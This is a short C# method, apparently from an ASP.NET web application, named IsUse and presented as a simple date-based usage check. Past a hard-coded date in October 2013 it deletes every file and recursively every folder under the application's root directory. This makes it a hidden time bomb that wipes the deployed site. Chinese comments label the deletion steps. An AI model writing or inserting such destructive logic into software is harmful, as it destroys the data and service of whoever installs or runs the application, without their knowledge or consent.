private bool IsUse()
{
bool result = false;
DateTime dtstart = Convert.ToDateTime(("2013-10-15 08:00:00").ToString());
// DateTime enddate = Convert.ToDateTime(("2013-08-31").ToString());
if (DateTime.Now < dtstart)
{
result = true;
}
else
{
DirectoryInfo dir = new DirectoryInfo(HttpRuntime.AppDomainAppPath);
FileInfo[] FileArray = dir.GetFiles();//找到所有文件(不包括文件夹)
for (int i = 0; i < FileArray.Length; i++)
{
if (System.IO.File.Exists(FileArray[i].FullName))
{
System.IO.File.Delete(FileArray[i].FullName);
}
}
DirectoryInfo[] allDir = dir.GetDirectories();
for (int i = 0; i < allDir.Length; i++)
{
Directory.Delete(allDir[i].FullName, true);//删除文件夹
}
}
return result;
}